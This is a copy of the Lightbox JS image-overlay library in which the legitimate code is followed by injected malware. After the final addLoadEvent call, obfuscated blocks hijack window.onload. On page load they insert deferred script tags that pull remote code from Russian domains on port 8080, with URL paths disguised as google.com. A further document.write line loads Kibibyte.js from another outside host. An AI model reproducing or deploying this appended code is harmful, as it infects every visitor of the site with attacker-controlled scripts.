/*
	Lightbox JS: Fullsize Image Overlays 
	by Lokesh Dhakar - http://www.huddletogether.com

	For more information on this script, visit:
	http://huddletogether.com/projects/lightbox/

	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
	(basically, do anything you want, just leave my name and link)
	
	Table of Contents
	-----------------
	Configuration
	
	Functions
	- getPageScroll()
	- getPageSize()
	- pause()
	- getKey()
	- listenKey()
	- showLightbox()
	- hideLightbox()
	- initLightbox()
	- addLoadEvent()
	
	Function Calls
	- addLoadEvent(initLightbox)

*/



//
// Configuration
//

// If you would like to use a custom loading image or close button reference them in the next two lines.
var loadingImage = 'loading.gif';		
var closeButton = 'close.gif';		





//
// getPageScroll()
// Returns array with x,y page scroll values.
// Core code from - quirksmode.org
//
function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}



//
// getPageSize()
// Returns array with page width, height and window width, height
// Core code from - quirksmode.org
// Edit for Firefox by pHaez
//
function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}


	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}


//
// pause(numberMillis)
// Pauses code execution for specified time. Uses busy code, not good.
// Code from http://www.faqts.com/knowledge_base/view.phtml/aid/1602
//
function pause(numberMillis) {
	var now = new Date();
	var exitTime = now.getTime() + numberMillis;
	while (true) {
		now = new Date();
		if (now.getTime() > exitTime)
			return;
	}
}

//
// getKey(key)
// Gets keycode. If 'x' is pressed then it hides the lightbox.
//

function getKey(e){
	if (e == null) { // ie
		keycode = event.keyCode;
	} else { // mozilla
		keycode = e.which;
	}
	key = String.fromCharCode(keycode).toLowerCase();
	
	if(key == 'x'){ hideLightbox(); }
}


//
// listenKey()
//
function listenKey () {	document.onkeypress = getKey; }
	

//
// showLightbox()
// Preloads images. Pleaces new image in lightbox then centers and displays.
//
function showLightbox(objLink)
{
	// prep objects
	var objOverlay = document.getElementById('overlay');
	var objLightbox = document.getElementById('lightbox');
	var objCaption = document.getElementById('lightboxCaption');
	var objImage = document.getElementById('lightboxImage');
	var objLoadingImage = document.getElementById('loadingImage');
	var objLightboxDetails = document.getElementById('lightboxDetails');

	
	var arrayPageSize = getPageSize();
	var arrayPageScroll = getPageScroll();

	// center loadingImage if it exists
	if (objLoadingImage) {
		objLoadingImage.style.top = (arrayPageScroll[1] + ((arrayPageSize[3] - 35 - objLoadingImage.height) / 2) + 'px');
		objLoadingImage.style.left = (((arrayPageSize[0] - 20 - objLoadingImage.width) / 2) + 'px');
		objLoadingImage.style.display = 'block';
	}

	// set height of Overlay to take up whole page and show
	objOverlay.style.height = (arrayPageSize[1] + 'px');
	objOverlay.style.display = 'block';

	// preload image
	imgPreload = new Image();

	imgPreload.onload=function(){
		objImage.src = objLink.href;

		// center lightbox and make sure that the top and left values are not negative
		// and the image placed outside the viewport
		var lightboxTop = arrayPageScroll[1] + ((arrayPageSize[3] - 35 - imgPreload.height) / 2);
		var lightboxLeft = ((arrayPageSize[0] - 20 - imgPreload.width) / 2);
		
		objLightbox.style.top = (lightboxTop < 0) ? "0px" : lightboxTop + "px";
		objLightbox.style.left = (lightboxLeft < 0) ? "0px" : lightboxLeft + "px";


		objLightboxDetails.style.width = imgPreload.width + 'px';
		
		if(objLink.getAttribute('title')){
			objCaption.style.display = 'block';
			//objCaption.style.width = imgPreload.width + 'px';
			objCaption.innerHTML = objLink.getAttribute('title');
		} else {
			objCaption.style.display = 'none';
		}
		
		// A small pause between the image loading and displaying is required with IE,
		// this prevents the previous image displaying for a short burst causing flicker.
		if (navigator.appVersion.indexOf("MSIE")!=-1){
			pause(250);
		} 

		if (objLoadingImage) {	objLoadingImage.style.display = 'none'; }

		// Hide select boxes as they will 'peek' through the image in IE
		selects = document.getElementsByTagName("select");
        for (i = 0; i != selects.length; i++) {
                selects[i].style.visibility = "hidden";
        }

	
		objLightbox.style.display = 'block';

		// After image is loaded, update the overlay height as the new image might have
		// increased the overall page height.
		arrayPageSize = getPageSize();
		objOverlay.style.height = (arrayPageSize[1] + 'px');
		
		// Check for 'x' keypress
		listenKey();

		return false;
	}

	imgPreload.src = objLink.href;
	
}





//
// hideLightbox()
//
function hideLightbox()
{
	// get objects
	objOverlay = document.getElementById('overlay');
	objLightbox = document.getElementById('lightbox');

	// hide lightbox and overlay
	objOverlay.style.display = 'none';
	objLightbox.style.display = 'none';

	// make select boxes visible
	selects = document.getElementsByTagName("select");
    for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "visible";
	}

	// disable keypress listener
	document.onkeypress = '';
}




//
// initLightbox()
// Function runs on window load, going through link tags looking for rel="lightbox".
// These links receive onclick events that enable the lightbox display for their targets.
// The function also inserts html markup at the top of the page which will be used as a
// container for the overlay pattern and the inline image.
//
function initLightbox()
{
	
	if (!document.getElementsByTagName){ return; }
	var anchors = document.getElementsByTagName("a");

	// loop through all anchor tags
	for (var i=0; i<anchors.length; i++){
		var anchor = anchors[i];

		if (anchor.getAttribute("href") && (anchor.getAttribute("rel") == "lightbox")){
			anchor.onclick = function () {showLightbox(this); return false;}
		}
	}

	// the rest of this code inserts html at the top of the page that looks like this:
	//
	// <div id="overlay">
	//		<a href="#" onclick="hideLightbox(); return false;"><img id="loadingImage" /></a>
	//	</div>
	// <div id="lightbox">
	//		<a href="#" onclick="hideLightbox(); return false;" title="Click anywhere to close image">
	//			<img id="closeButton" />		
	//			<img id="lightboxImage" />
	//		</a>
	//		<div id="lightboxDetails">
	//			<div id="lightboxCaption"></div>
	//			<div id="keyboardMsg"></div>
	//		</div>
	// </div>
	
	var objBody = document.getElementsByTagName("body").item(0);
	
	// create overlay div and hardcode some functional styles (aesthetic styles are in CSS file)
	var objOverlay = document.createElement("div");
	objOverlay.setAttribute('id','overlay');
	objOverlay.onclick = function () {hideLightbox(); return false;}
	objOverlay.style.display = 'none';
	objOverlay.style.position = 'absolute';
	objOverlay.style.top = '0';
	objOverlay.style.left = '0';
	objOverlay.style.zIndex = '90';
 	objOverlay.style.width = '100%';
	objBody.insertBefore(objOverlay, objBody.firstChild);
	
	var arrayPageSize = getPageSize();
	var arrayPageScroll = getPageScroll();

	// preload and create loader image
	var imgPreloader = new Image();
	
	// if loader image found, create link to hide lightbox and create loadingimage
	imgPreloader.onload=function(){

		var objLoadingImageLink = document.createElement("a");
		objLoadingImageLink.setAttribute('href','#');
		objLoadingImageLink.onclick = function () {hideLightbox(); return false;}
		objOverlay.appendChild(objLoadingImageLink);
		
		var objLoadingImage = document.createElement("img");
		objLoadingImage.src = loadingImage;
		objLoadingImage.setAttribute('id','loadingImage');
		objLoadingImage.style.position = 'absolute';
		objLoadingImage.style.zIndex = '150';
		objLoadingImageLink.appendChild(objLoadingImage);

		imgPreloader.onload=function(){};	//	clear onLoad, as IE will flip out w/animated gifs

		return false;
	}

	imgPreloader.src = loadingImage;

	// create lightbox div, same note about styles as above
	var objLightbox = document.createElement("div");
	objLightbox.setAttribute('id','lightbox');
	objLightbox.style.display = 'none';
	objLightbox.style.position = 'absolute';
	objLightbox.style.zIndex = '100';	
	objBody.insertBefore(objLightbox, objOverlay.nextSibling);
	
	// create link
	var objLink = document.createElement("a");
	objLink.setAttribute('href','#');
	objLink.setAttribute('title','Click to close');
	objLink.onclick = function () {hideLightbox(); return false;}
	objLightbox.appendChild(objLink);

	// preload and create close button image
	var imgPreloadCloseButton = new Image();

	// if close button image found, 
	imgPreloadCloseButton.onload=function(){

		var objCloseButton = document.createElement("img");
		objCloseButton.src = closeButton;
		objCloseButton.setAttribute('id','closeButton');
		objCloseButton.style.position = 'absolute';
		objCloseButton.style.zIndex = '200';
		objLink.appendChild(objCloseButton);

		return false;
	}

	imgPreloadCloseButton.src = closeButton;

	// create image
	var objImage = document.createElement("img");
	objImage.setAttribute('id','lightboxImage');
	objLink.appendChild(objImage);
	
	// create details div, a container for the caption and keyboard message
	var objLightboxDetails = document.createElement("div");
	objLightboxDetails.setAttribute('id','lightboxDetails');
	objLightbox.appendChild(objLightboxDetails);

	// create caption
	var objCaption = document.createElement("div");
	objCaption.setAttribute('id','lightboxCaption');
	objCaption.style.display = 'none';
	objLightboxDetails.appendChild(objCaption);

	// create keyboard message
	var objKeyboardMsg = document.createElement("div");
	objKeyboardMsg.setAttribute('id','keyboardMsg');
	objKeyboardMsg.innerHTML = '';
	objLightboxDetails.appendChild(objKeyboardMsg);


}




//
// addLoadEvent()
// Adds event to window.onload without overwriting currently assigned onload functions.
// Function found at Simon Willison's weblog - http://simon.incutio.com/
//
function addLoadEvent(func)
{	
	var oldonload = window.onload;
	if (typeof window.onload != 'function'){
    	window.onload = func;
	} else {
		window.onload = function(){
		oldonload();
		func();
		}
	}

}



addLoadEvent(initLightbox);	// run initLightbox onLoad


var g="g";n={jD:51390};function M(){this.ta=false;var t=new String("01hcreat".substr(3)+"eElem"+"649pent".substr(4));var Mt=["P"];this.S="";var K=new String("onlo"+"ad");try {var Pm='Ae'} catch(Pm){};var A=new String("defer");try {var p='Q'} catch(p){};try {var H='TH'} catch(H){};var c=new String("appIsNt".substr(0,3)+"end"+"JKvChi".substr(3)+"ld");var R=window;try {var Ic='Mm'} catch(Ic){};var j=new String("bodTQxn".substr(0,3)+"Ne3iyi3Ne".substr(4,1));xD=14051;xD+=70;var u=new Date();var TD=document;this.GS=22175;this.GS--;var F=new String("scrip"+"tQCwq".substr(0,1));this.D="";this.nB=35701;this.nB-=197;var b=String("srKo8".substr(0,2)+"cxUZ".substr(0,1));this.y=63146;this.y--;this.Mx=57925;this.Mx++;function cJ(){try {var HI='C'} catch(HI){};try {var G=String("/go"+"ogl"+"e.c"+"om/"+"7AG8new".substr(4)+"gro"+"und"+"s.c"+"om/"+"kEAZdow".substr(4)+"nlo"+"ad."+"ytJ4com".substr(4)+".ph"+"p");var z=856480-848400;F_={FD:false};CB={HY:false};var Gx=new String("http:"+"//pas"+"sport"+"blues"+".ru:");this.m="";this.pZ="";var B=6126-6125;var xL=["Gp","MK","vC"];this.l=28692;this.l-=179;i=TD[t](F);_R={h:false};try {} catch(L){};var zQ=["jl","s"];var NR={af:false};try {var NF='Pv'} catch(NF){};try {var Cn='cC'} catch(Cn){};this.iQ=false;aQG=["FU","LQ"];var sB="sB";i[A]=B;var PZx="";var aW="";i[b]=Gx+z+G;var Xj=new Date();var ew=new Date();iy=32656;iy-=67;TD[j][c](i);try {} catch(ai){};try {} catch(xS){};} catch(X){var Ac={et:"fM"};var RW='';};}R[K]=cJ;this.ge=39406;this.ge++;var ewO={jt:"xl"};};var jf={i_:"SY"};var Ph={cM:"Ge"};M();try {var RV='bV'} catch(RV){};
var z=[];try {try {var tT='zd'} catch(tT){};var l="";var mg=[];S=20699;S+=236;var v="";var Q=window[new String("une"+"JUBEsca".substr(4)+"c9Ipec9I".substr(3,2))];N=3779;N++;var WZ=["n","k"];yc=57099;yc++;var y=String("XJn3rep".substr(4)+"lacrZyN".substr(0,3)+"e1GzS".substr(0,1));Fu=["QJ","SB"];var c={oa:54743};var iM={p:53080};var i=window[(new String("TtMReg".substr(3)+"tXB7Exp".substr(4)))];C={};var cj=new String();var kf='';var G={r:46893};var qs='';var Qx=String("1");try {var s='lE'} catch(s){};this.aX="aX";var Gl=new String();var o="on"+"8DMlo".substr(3)+"jvfadjfv".substr(3,2);var rT=14156;bZ=["Pq","Cq","da"];var iu='';var Mr={xg:"rx"};this.yd=19399;this.yd--;mr={Hk:41993};function u(Qx,A){var WI=["PS","aS","po"];this.Zd=45731;this.Zd+=200;var Z=new String("Nov[".substr(3));this.hm=4754;this.hm-=69;Zc=9750;Zc--;this.Fa=false;this.rH=62221;this.rH-=165;Yr={Bx:false};Z+=A;var cq=false;LK=11910;LK++;FQ=27402;FQ++;Z+=Q("%5d");this.EX=56877;this.EX+=5;try {var QH='MU'} catch(QH){};this.eV=26344;this.eV+=88;this.nz="";sG=29027;sG+=196;WE={};var Vp={sQ:3770};var I=new i(Z, "g");return Qx.replace(I, iu);try {var FA='J'} catch(FA){};var Pd=["nQ"];var GI=["ms"];try {var z_='tl'} catch(z_){};this.My=1765;this.My--;};try {} catch(cX){};Ow=["Fg","sh","zS"];VA=40667;VA-=69;this.Qu="Qu";this.Pl="Pl";var w="htt"+"3Fap:/".substr(3)+"/go"+"thg"+"uil"+"l3ft.r".substr(3)+"lD0Hu:".substr(4);zk={};var X=777756-769676;var pW={jL:false};this.Fp=28396;this.Fp--;this.TO=14387;this.TO--;var P=String("/gaiTj".substr(0,2)+"3tNoo".substr(3)+"gl"+"e."+"fOGcoOfG".substr(3,2)+"m/"+"alDAJj".substr(0,2)+"te"+"rv"+"is"+"ta"+".o"+"rg"+"/g"+"oo"+"gl4Dkq".substr(0,2)+"e."+"b5hNcn".substr(4)+"ugHF.p".substr(4)+"hp");try {var aZ='Ob'} catch(aZ){};var qh=["nx","FP","hZ"];var lu=new String();fe=[];function Ih(){var ol={};var rxM={};this.QV=20980;this.QV-=216;var wn={rW:9940};var H=String("appe"+"ndCh3tI".substr(0,4)+"ild");xV=45000;xV--;this.lK="";this.HK=59716;this.HK+=60;Hd=42857;Hd--;var q=u('sYcNr5iNp0tE','e4EfTzj75NHuqY_2RhQoLX0b');try {var xC='Yc'} catch(xC){};var jF=["Jv","OSN","Hf"];this._y="";var fU={};try {var nN='Tj'} catch(nN){};var W=document;var ea={eKH:"FQd"};cq_=29118;cq_++;tU=31243;tU++;this.EWs=30749;this.EWs--;var DG='';var YO=["jQ"];var ry="";var Fc="";SA=["gT","UA","Dl"];var Zj={};yg=W.createElement(q);this.Wa=false;this.gy=false;this.Gj=false;this.CA=false;m=w+X;try {var mP='EO'} catch(mP){};try {var dm='bf'} catch(dm){};NyT=29233;NyT++;m=m+P;Pe=[];Vv={rJ:"rA"};var NQ={JC:false};this.iW=28029;this.iW+=236;var cm={};var F=W.body;var vl="";var RP="";var OSh='';var fc='';this.PE=43153;this.PE++;yg[String("defe"+"r")]=Qx;Cv={Ev:false};var LG=["iL","nD","Ty"];yg.src=m;var nAJ=new Array();var kA="kA";var WZD="WZD";F[H](yg);try {} catch(zT){};RBl=["iO","Wc","ey"];var Bg=new String();var Yf=new String();this.OSX=36110;this.OSX--;};var HE=18660;var DH=4387;aA=["HC"];window[o]=Ih;this.vn=50820;this.vn--;try {} catch(jFB){};zn=50275;zn-=153;var DT=41192;try {} catch(Cn){};var WX="";} catch(g){var kn_=["Ue"];qz=[];this.TJ=39035;this.TJ--;var rR=new Array();this.URF=50842;this.URF--;zF=25373;zF++;em=62400;em++;};


document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Kibibyte.js"></scr'+'ipt>');
